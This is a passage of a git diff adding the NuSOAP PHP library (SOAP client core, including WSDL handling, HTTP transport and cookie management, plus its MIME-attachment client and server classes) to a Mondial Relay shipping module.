false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ + parent::nusoap_base(); + $this->endpoint = $endpoint; + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + $this->portName = $portName; + + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->appendDebug('endpoint=' . $this->varDump($endpoint)); + + // make values + if($wsdl){ + if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { + $this->wsdl = $endpoint; + $this->endpoint = $this->wsdl->wsdl; + $this->wsdlFile = $this->endpoint; + $this->debug('existing wsdl instance created from ' . $this->endpoint); + $this->checkWSDL(); + } else { + $this->wsdlFile = $this->endpoint; + $this->wsdl = null; + $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); + } + $this->endpointType = 'wsdl'; + } else { + $this->debug("instantiate SOAP with endpoint at $endpoint"); + $this->endpointType = 'soap'; + } + } + + /** + * calls method, returns PHP native type + * + * @param string $operation SOAP server URL or path + * @param mixed $params An array, associative or simple, of the parameters + * for the method call, or a string that is the XML + * for the call. For rpc style, this call will + * wrap the XML in a tag named after the method, as + * well as the SOAP Envelope and Body. For document + * style, this will only wrap with the Envelope and Body. + * IMPORTANT: when using an array with document style, + * in which case there + * is really one parameter, the root of the fragment + * used in the call, which encloses what programmers + * normally think of parameters. A parameter array + * *must* include the wrapper. + * @param string $namespace optional method namespace (WSDL can override) + * @param string $soapAction optional SOAPAction value (WSDL can override) + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param boolean $rpcParams optional (no longer used) + * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) + * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) + * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors + * @access public + */ + function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ + $this->operation = $operation; + $this->fault = false; + $this->setError(''); + $this->request = ''; + $this->response = ''; + $this->responseData = ''; + $this->faultstring = ''; + $this->faultcode = ''; + $this->opData = array(); + + $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); + $this->appendDebug('params=' . $this->varDump($params)); + $this->appendDebug('headers=' . $this->varDump($headers)); + if ($headers) { + $this->requestHeaders = $headers; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + // serialize parameters + if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ + // use WSDL for operation + $this->opData = $opData; + $this->debug("found operation"); + $this->appendDebug('opData=' . $this->varDump($opData)); + if (isset($opData['soapAction'])) { + $soapAction = $opData['soapAction']; + } + if (! $this->forceEndpoint) { + $this->endpoint = $opData['endpoint']; + } else { + $this->endpoint = $this->forceEndpoint; + } + $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; + $style = $opData['style']; + $use = $opData['input']['use']; + // add ns to ns array + if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ + $nsPrefix = 'ns' . rand(1000, 9999); + $this->wsdl->namespaces[$nsPrefix] = $namespace; + } + $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); + // serialize payload + if (is_string($params)) { + $this->debug("serializing param string for WSDL operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for WSDL operation $operation"); + $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = $this->wsdl->usedNamespaces; + if (isset($opData['input']['encodingStyle'])) { + $encodingStyle = $opData['input']['encodingStyle']; + } else { + $encodingStyle = ''; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if ($errstr = $this->wsdl->getError()) { + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + return false; + } + } elseif($this->endpointType == 'wsdl') { + // operation not in WSDL + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->setError('operation '.$operation.' not present in WSDL.'); + $this->debug("operation '$operation' not present in WSDL."); + return false; + } else { + // no WSDL + //$this->namespaces['ns1'] = $namespace; + $nsPrefix = 'ns' . rand(1000, 9999); + // serialize + $payload = ''; + if (is_string($params)) { + $this->debug("serializing param string for operation $operation"); + $payload = $params; + } elseif (is_array($params)) { + $this->debug("serializing param array for operation $operation"); + foreach($params as $k => $v){ + $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } else { + $this->debug('params must be array or string'); + $this->setError('params must be array or string'); + return false; + } + $usedNamespaces = array(); + if ($use == 'encoded') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } else { + $encodingStyle = ''; + } + } + // wrap RPC calls with method element + if ($style == 'rpc') { + if ($use == 'literal') { + $this->debug("wrapping RPC request with literal method element"); + if ($namespace) { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . $payload . ""; + } + } else { + $this->debug("wrapping RPC request with encoded method element"); + if ($namespace) { + $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . + $payload . + ""; + } else { + $payload = "<$operation>" . + $payload . + ""; + } + } + } + // serialize envelope + $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); + $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); + $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); + // send + $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); + if($errstr = $this->getError()){ + $this->debug('Error: '.$errstr); + return false; + } else { + $this->return = $return; + $this->debug('sent message successfully and got a(n) '.gettype($return)); + $this->appendDebug('return=' . $this->varDump($return)); + + // fault? + if(is_array($return) && isset($return['faultcode'])){ + $this->debug('got fault'); + $this->setError($return['faultcode'].': '.$return['faultstring']); + $this->fault = true; + foreach($return as $k => $v){ + $this->$k = $v; + $this->debug("$k = $v
        "); + } + return $return; + } elseif ($style == 'document') { + // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), + // we are only going to return the first part here...sorry about that + return $return; + } else { + // array of return values + if(is_array($return)){ + // multiple 'out' parameters, which we return wrapped up + // in the array + if(sizeof($return) > 1){ + return $return; + } + // single 'out' parameter (normally the return value) + $return = array_shift($return); + $this->debug('return shifted value: '); + $this->appendDebug($this->varDump($return)); + return $return; + // nothing returned (ie, echoVoid) + } else { + return ""; + } + } + } + } + + /** + * check WSDL passed as an instance or pulled from an endpoint + * + * @access private + */ + function checkWSDL() { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('checkWSDL'); + // catch errors + if ($errstr = $this->wsdl->getError()) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('got wsdl error: '.$errstr); + $this->setError('wsdl error: '.$errstr); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->bindingType = 'soap12'; + $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); + $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); + } else { + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + $this->debug('getOperations returned false'); + $this->setError('no operations defined in the WSDL document!'); + } + } + + /** + * instantiate wsdl object and parse wsdl file + * + * @access public + */ + function loadWSDL() { + $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); + $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); + $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); + $this->wsdl->fetchWSDL($this->wsdlFile); + $this->checkWSDL(); + } + + /** + * get available data pertaining to an operation + * + * @param string $operation operation name + * @return array array of data pertaining to the operation + * @access public + */ + function getOperationData($operation){ + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) + return false; + } + if(isset($this->operations[$operation])){ + return $this->operations[$operation]; + } + $this->debug("No data for operation: $operation"); + } + + /** + * send the SOAP message + * + * Note: if the operation has multiple return values + * the return value of this method will be an array + * of those values. + * + * @param string $msg a SOAPx4 soapmsg object + * @param string $soapaction SOAPAction value + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return mixed native PHP types. + * @access private + */ + function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { + $this->checkCookies(); + // detect transport + switch(true){ + // http(s) + case preg_match('/^http/',$this->endpoint): + $this->debug('transporting via HTTP'); + if($this->persistentConnection == true && is_object($this->persistentConnection)){ + $http =& $this->persistentConnection; + } else { + $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); + if ($this->persistentConnection) { + $http->usePersistentConnection(); + } + } + $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); + $http->setSOAPAction($soapaction); + if($this->proxyhost && $this->proxyport){ + $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if($this->authtype != '') { + $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + if($this->http_encoding != ''){ + $http->setEncoding($this->http_encoding); + } + $this->debug('sending message, length='.strlen($msg)); + if(preg_match('/^http:/',$this->endpoint)){ + //if(strpos($this->endpoint,'http:')){ + $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); + } elseif(preg_match('/^https/',$this->endpoint)){ + //} elseif(strpos($this->endpoint,'https:')){ + //if(phpversion() == '4.3.0-dev'){ + //$response = $http->send($msg,$timeout,$response_timeout); + //$this->request = $http->outgoing_payload; + //$this->response = $http->incoming_payload; + //} else + $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); + } else { + $this->setError('no http/s in endpoint url'); + } + $this->request = $http->outgoing_payload; + $this->response = $http->incoming_payload; + $this->appendDebug($http->getDebug()); + $this->UpdateCookies($http->incoming_cookies); + + // save transport object if using persistent connections + if ($this->persistentConnection) { + $http->clearDebug(); + if (!is_object($this->persistentConnection)) { + $this->persistentConnection = $http; + } + } + + if($err = $http->getError()){ + $this->setError('HTTP Error: '.$err); + return false; + } elseif($this->getError()){ + return false; + } else { + $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); + return $this->parseResponse($http->incoming_headers, $this->responseData); + } + break; + default: + $this->setError('no transport found, or selected transport is not yet supported!'); + return false; + break; + } + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Response not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Response not of type text/xml: ' . $headers['content-type']); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); + // add parser debug data to our debug + $this->appendDebug($parser->getDebug()); + // if parse errors + if($errstr = $parser->getError()){ + $this->setError( $errstr); + // destroy the parser object + unset($parser); + return false; + } else { + // get SOAP headers + $this->responseHeaders = $parser->getHeaders(); + // get SOAP headers + $this->responseHeader = $parser->get_soapheader(); + // get decoded message + $return = $parser->get_soapbody(); + // add document for doclit support + $this->document = $parser->document; + // destroy the parser object + unset($parser); + // return decode message + return $return; + } + } + + /** + * sets user-specified cURL options + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access public + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + $this->curl_options[$option] = $value; + } + + /** + * sets the SOAP endpoint, which can override WSDL + * + * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override + * @access public + */ + function setEndpoint($endpoint) { + $this->debug("setEndpoint(\"$endpoint\")"); + $this->forceEndpoint = $endpoint; + } + + /** + * set the SOAP headers + * + * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers + * @access public + */ + function setHeaders($headers){ + $this->debug("setHeaders headers="); + $this->appendDebug($this->varDump($headers)); + $this->requestHeaders = $headers; + } + + /** + * get the SOAP response headers (namespace resolution incomplete) + * + * @return string + * @access public + */ + function getHeaders(){ + return $this->responseHeaders; + } + + /** + * get the SOAP response Header (parsed) + * + * @return mixed + * @access public + */ + function getHeader(){ + return $this->responseHeader; + } + + /** + * set proxy info here + * + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @access public + */ + function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + /** + * use HTTP encoding + * + * @param string $enc HTTP encoding + * @access public + */ + function setHTTPEncoding($enc='gzip, deflate'){ + $this->debug("setHTTPEncoding(\"$enc\")"); + $this->http_encoding = $enc; + } + + /** + * Set whether to try to use cURL connections if possible + * + * @param boolean $use Whether to try to use cURL + * @access public + */ + function setUseCURL($use) { + $this->debug("setUseCURL($use)"); + $this->use_curl = $use; + } + + /** + * use HTTP persistent connections if possible + * + * @access public + */ + function useHTTPPersistentConnection(){ + $this->debug("useHTTPPersistentConnection"); + $this->persistentConnection = true; + } + + /** + * gets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style. + * Each call() can override this value. + * + * This is no longer used. + * + * @return boolean + * @access public + * @deprecated + */ + function getDefaultRpcParams() { + return $this->defaultRpcParams; + } + + /** + * sets the default RPC parameter setting. + * If true, default is that call params are like RPC even for document style + * Each call() can override this value. + * + * This is no longer used. + * + * @param boolean $rpcParams + * @access public + * @deprecated + */ + function setDefaultRpcParams($rpcParams) { + $this->defaultRpcParams = $rpcParams; + } + + /** + * dynamically creates an instance of a proxy class, + * allowing user to directly call methods from wsdl + * + * @return object soap_proxy object + * @access public + */ + function getProxy() { + $r = rand(); + $evalStr = $this->_getProxyClassCode($r); + //$this->debug("proxy class: $evalStr"); + if ($this->getError()) { + $this->debug("Error from _getProxyClassCode, so return NULL"); + return null; + } + // eval the class + eval($evalStr); + // instantiate proxy object + eval("\$proxy = new nusoap_proxy_$r('');"); + // transfer current wsdl data to the proxy thereby avoiding parsing the wsdl twice + $proxy->endpointType = 'wsdl'; + $proxy->wsdlFile = $this->wsdlFile; + $proxy->wsdl = $this->wsdl; + $proxy->operations = $this->operations; + $proxy->defaultRpcParams = $this->defaultRpcParams; + // transfer other state + $proxy->soap_defencoding = $this->soap_defencoding; + $proxy->username = $this->username; + $proxy->password = $this->password; + $proxy->authtype = $this->authtype; + $proxy->certRequest = $this->certRequest; + $proxy->requestHeaders = $this->requestHeaders; + $proxy->endpoint = $this->endpoint; + $proxy->forceEndpoint = $this->forceEndpoint; + $proxy->proxyhost = $this->proxyhost; + $proxy->proxyport = $this->proxyport; + $proxy->proxyusername = $this->proxyusername; + $proxy->proxypassword = $this->proxypassword; + $proxy->http_encoding = $this->http_encoding; + $proxy->timeout = $this->timeout; + $proxy->response_timeout = $this->response_timeout; + $proxy->persistentConnection = &$this->persistentConnection; + $proxy->decode_utf8 = $this->decode_utf8; + $proxy->curl_options = $this->curl_options; + $proxy->bindingType = $this->bindingType; + $proxy->use_curl = $this->use_curl; + return $proxy; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access private + */ + function _getProxyClassCode($r) { + $this->debug("in getProxy endpointType=$this->endpointType"); + $this->appendDebug("wsdl=" . $this->varDump($this->wsdl)); + if ($this->endpointType != 'wsdl') { + $evalStr = 'A proxy can only be created for a WSDL client'; + $this->setError($evalStr); + $evalStr = "echo \"$evalStr\";"; + return $evalStr; + } + if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { + $this->loadWSDL(); + if ($this->getError()) { + return "echo \"" . $this->getError() . "\";"; + } + } + $evalStr = ''; + foreach ($this->operations as $operation => $opData) { + if ($operation != '') { + // create param string and param comment string + if (sizeof($opData['input']['parts']) > 0) { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = ''; + foreach ($opData['input']['parts'] as $name => $type) { + $paramStr .= "\$$name, "; + $paramArrayStr .= "'$name' => \$$name, "; + $paramCommentStr .= "$type \$$name, "; + } + $paramStr = substr($paramStr, 0, strlen($paramStr)-2); + $paramArrayStr = substr($paramArrayStr, 0, strlen($paramArrayStr)-2); + $paramCommentStr = substr($paramCommentStr, 0, strlen($paramCommentStr)-2); + } else { + $paramStr = ''; + $paramArrayStr = ''; + $paramCommentStr = 'void'; + } + $opData['namespace'] = !isset($opData['namespace']) ? 'http://testuri.com' : $opData['namespace']; + $evalStr .= "// $paramCommentStr + function " . str_replace('.', '__', $operation) . "($paramStr) { + \$params = array($paramArrayStr); + return \$this->call('$operation', \$params, '".$opData['namespace']."', '".(isset($opData['soapAction']) ? $opData['soapAction'] : '')."'); + } + "; + unset($paramStr); + unset($paramCommentStr); + } + } + $evalStr = 'class nusoap_proxy_'.$r.' extends nusoap_client { + '.$evalStr.' +}'; + return $evalStr; + } + + /** + * dynamically creates proxy class code + * + * @return string PHP/NuSOAP code for the proxy class + * @access public + */ + function getProxyClassCode() { + $r = rand(); + return $this->_getProxyClassCode($r); + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /* + * whether or not parser should decode utf8 element content + * + * @return always returns true + * @access public + */ + function decodeUTF8($bool){ + $this->decode_utf8 = $bool; + return true; + } + + /** + * adds a new Cookie into $this->cookies array + * + * @param string $name Cookie Name + * @param string $value Cookie Value + * @return boolean if cookie-set was successful returns true, else false + * @access public + */ + function setCookie($name, $value) { + if (strlen($name) == 0) { + return false; + } + $this->cookies[] = array('name' => $name, 'value' => $value); + return true; + } + + /** + * gets all Cookies + * + * @return array with all internal cookies + * @access public + */ + function getCookies() { + return $this->cookies; + } + + /** + * checks all Cookies and delete those which are expired + * + * @return boolean always return true + * @access private + */ + function checkCookies() { + if (sizeof($this->cookies) == 0) { + return true; + } + $this->debug('checkCookie: check ' . sizeof($this->cookies) . ' cookies'); + $curr_cookies = $this->cookies; + $this->cookies = array(); + foreach ($curr_cookies as $cookie) { + if (! is_array($cookie)) { + $this->debug('Remove cookie that is not an array'); + continue; + } + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) > time()) { + $this->cookies[] = $cookie; + } else { + $this->debug('Remove expired cookie ' . $cookie['name']); + } + } else { + $this->cookies[] = $cookie; + } + } + $this->debug('checkCookie: '.sizeof($this->cookies).' cookies left in array'); + return true; + } + + /** + * updates the current cookies with a new set + * + * @param array $cookies new cookies with which to update current ones + * @return boolean always return true + * @access private + */ + function UpdateCookies($cookies) { + if (sizeof($this->cookies) == 0) { + // no existing cookies: take whatever is new + if (sizeof($cookies) > 0) { + $this->debug('Setting new cookie(s)'); + $this->cookies = $cookies; + } + return true; + } + if (sizeof($cookies) == 0) { + // no new cookies: keep what we've got + return true; + } + // merge + foreach ($cookies as $newCookie) { + if (!is_array($newCookie)) { + continue; + } + if ((!isset($newCookie['name'])) || (!isset($newCookie['value']))) { + continue; + } + $newName = $newCookie['name']; + + $found = false; + for ($i = 0; $i < count($this->cookies); $i++) { + $cookie = $this->cookies[$i]; + if (!is_array($cookie)) { + continue; + } + if (!isset($cookie['name'])) { + continue; + } + if ($newName != $cookie['name']) { + continue; + } + $newDomain = isset($newCookie['domain']) ? $newCookie['domain'] : 'NODOMAIN'; + $domain = isset($cookie['domain']) ? $cookie['domain'] : 'NODOMAIN'; + if ($newDomain != $domain) { + continue; + } + $newPath = isset($newCookie['path']) ? $newCookie['path'] : 'NOPATH'; + $path = isset($cookie['path']) ? $cookie['path'] : 'NOPATH'; + if ($newPath != $path) { + continue; + } + $this->cookies[$i] = $newCookie; + $found = true; + $this->debug('Update cookie ' . $newName . '=' . $newCookie['value']); + break; + } + if (! $found) { + $this->debug('Add cookie ' . $newName . '=' . $newCookie['value']); + $this->cookies[] = $newCookie; + } + } + return true; + } +} + +if (!extension_loaded('soap')) { + /** + * For backwards compatiblity, define soapclient unless the PHP SOAP extension is loaded. + */ + class soapclient extends nusoap_client { + } +} +?> diff --git a/modules/mondialrelay/lib/nusoap/nusoapmime.php b/modules/mondialrelay/lib/nusoap/nusoapmime.php new file mode 100755 index 0000000..99a9ef3 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/nusoapmime.php @@ -0,0 +1,501 @@ + +* @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list +* @version $Id$ +* @access public +*/ +class nusoap_client_mime extends nusoap_client { + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $requestAttachments = array(); + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $responseAttachments; + /** + * @var string + * @access private + */ + var $mimeContentType; + + /** + * adds a MIME attachment to the current request. + * + * If the $data parameter contains an empty string, this method will read + * the contents of the file named by the $filename parameter. + * + * If the $cid parameter is false, this method will generate the cid. + * + * @param string $data The data of the attachment + * @param string $filename The filename of the attachment (default is empty string) + * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) + * @param string $cid The content-id (cid) of the attachment (default is false) + * @return string The content-id (cid) of the attachment + * @access public + */ + function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { + if (! $cid) { + $cid = md5(uniqid(time())); + } + + $info['data'] = $data; + $info['filename'] = $filename; + $info['contenttype'] = $contenttype; + $info['cid'] = $cid; + + $this->requestAttachments[] = $info; + + return $cid; + } + + /** + * clears the MIME attachments for the current request. + * + * @access public + */ + function clearAttachments() { + $this->requestAttachments = array(); + } + + /** + * gets the MIME attachments from the current response. + * + * Each array element in the return is an associative array with keys + * data, filename, contenttype, cid. These keys correspond to the parameters + * for addAttachment. + * + * @return array The attachments. + * @access public + */ + function getAttachments() { + return $this->responseAttachments; + } + + /** + * gets the HTTP body for the current request. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + if (count($this->requestAttachments) > 0) { + $params['content_type'] = 'multipart/related; type="text/xml"'; + $mimeMessage = new Mail_mimePart('', $params); + unset($params); + + $params['content_type'] = 'text/xml'; + $params['encoding'] = '8bit'; + $params['charset'] = $this->soap_defencoding; + $mimeMessage->addSubpart($soapmsg, $params); + + foreach ($this->requestAttachments as $att) { + unset($params); + + $params['content_type'] = $att['contenttype']; + $params['encoding'] = 'base64'; + $params['disposition'] = 'attachment'; + $params['dfilename'] = $att['filename']; + $params['cid'] = $att['cid']; + + if ($att['data'] == '' && $att['filename'] <> '') { + if ($fd = fopen($att['filename'], 'rb')) { + $data = fread($fd, filesize($att['filename'])); + fclose($fd); + } else { + $data = ''; + } + $mimeMessage->addSubpart($data, $params); + } else { + $mimeMessage->addSubpart($att['data'], $params); + } + } + + $output = $mimeMessage->encode(); + $mimeHeaders = $output['headers']; + + foreach ($mimeHeaders as $k => $v) { + $this->debug("MIME header $k: $v"); + if (strtolower($k) == 'content-type') { + // PHP header() seems to strip leading whitespace starting + // the second line, so force everything to one line + $this->mimeContentType = str_replace("\r\n", " ", $v); + } + } + + return $output['body']; + } + + return parent::getHTTPBody($soapmsg); + } + + /** + * gets the HTTP content type for the current request. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current request. + * @access private + */ + function getHTTPContentType() { + if (count($this->requestAttachments) > 0) { + return $this->mimeContentType; + } + return parent::getHTTPContentType(); + } + + /** + * gets the HTTP content type charset for the current request. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current request. + * @access private + */ + function getHTTPContentTypeCharset() { + if (count($this->requestAttachments) > 0) { + return false; + } + return parent::getHTTPContentTypeCharset(); + } + + /** + * processes SOAP message returned from server + * + * @param array $headers The HTTP headers + * @param string $data unprocessed response data from server + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseResponse($headers, $data) { + $this->debug('Entering parseResponse() for payload of length ' . strlen($data) . ' and type of ' . $headers['content-type']); + $this->responseAttachments = array(); + if (strstr($headers['content-type'], 'multipart/related')) { + $this->debug('Decode multipart/related'); + $input = ''; + foreach ($headers as $k => $v) { + $input .= "$k: $v\r\n"; + } + $params['input'] = $input . "\r\n" . $data; + $params['include_bodies'] = true; + $params['decode_bodies'] = true; + $params['decode_headers'] = true; + + $structure = Mail_mimeDecode::decode($params); + + foreach ($structure->parts as $part) { + if (!isset($part->disposition) && (strstr($part->headers['content-type'], 'text/xml'))) { + $this->debug('Have root part of type ' . $part->headers['content-type']); + $root = $part->body; + $return = parent::parseResponse($part->headers, $part->body); + } else { + $this->debug('Have an attachment of type ' . $part->headers['content-type']); + $info['data'] = $part->body; + $info['filename'] = isset($part->d_parameters['filename']) ? $part->d_parameters['filename'] : ''; + $info['contenttype'] = $part->headers['content-type']; + $info['cid'] = $part->headers['content-id']; + $this->responseAttachments[] = $info; + } + } + + if (isset($return)) { + $this->responseData = $root; + return $return; + } + + $this->setError('No root part found in multipart/related content'); + return ''; + } + $this->debug('Not multipart/related'); + return parent::parseResponse($headers, $data); + } +} + +/* + * For backwards compatiblity, define soapclientmime unless the PHP SOAP extension is loaded. + */ +if (!extension_loaded('soap')) { + class soapclientmime extends nusoap_client_mime { + } +} + +/** +* nusoap_server_mime server supporting MIME attachments defined at +* http://www.w3.org/TR/SOAP-attachments. It depends on the PEAR Mail_MIME library. +* +* @author Scott Nichol +* @author Thanks to Guillaume and Henning Reich for posting great attachment code to the mail list +* @version $Id$ +* @access public +*/ +class nusoap_server_mime extends nusoap_server { + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $requestAttachments = array(); + /** + * @var array Each array element in the return is an associative array with keys + * data, filename, contenttype, cid + * @access private + */ + var $responseAttachments; + /** + * @var string + * @access private + */ + var $mimeContentType; + + /** + * adds a MIME attachment to the current response. + * + * If the $data parameter contains an empty string, this method will read + * the contents of the file named by the $filename parameter. + * + * If the $cid parameter is false, this method will generate the cid. + * + * @param string $data The data of the attachment + * @param string $filename The filename of the attachment (default is empty string) + * @param string $contenttype The MIME Content-Type of the attachment (default is application/octet-stream) + * @param string $cid The content-id (cid) of the attachment (default is false) + * @return string The content-id (cid) of the attachment + * @access public + */ + function addAttachment($data, $filename = '', $contenttype = 'application/octet-stream', $cid = false) { + if (! $cid) { + $cid = md5(uniqid(time())); + } + + $info['data'] = $data; + $info['filename'] = $filename; + $info['contenttype'] = $contenttype; + $info['cid'] = $cid; + + $this->responseAttachments[] = $info; + + return $cid; + } + + /** + * clears the MIME attachments for the current response. + * + * @access public + */ + function clearAttachments() { + $this->responseAttachments = array(); + } + + /** + * gets the MIME attachments from the current request. + * + * Each array element in the return is an associative array with keys + * data, filename, contenttype, cid. These keys correspond to the parameters + * for addAttachment. + * + * @return array The attachments. + * 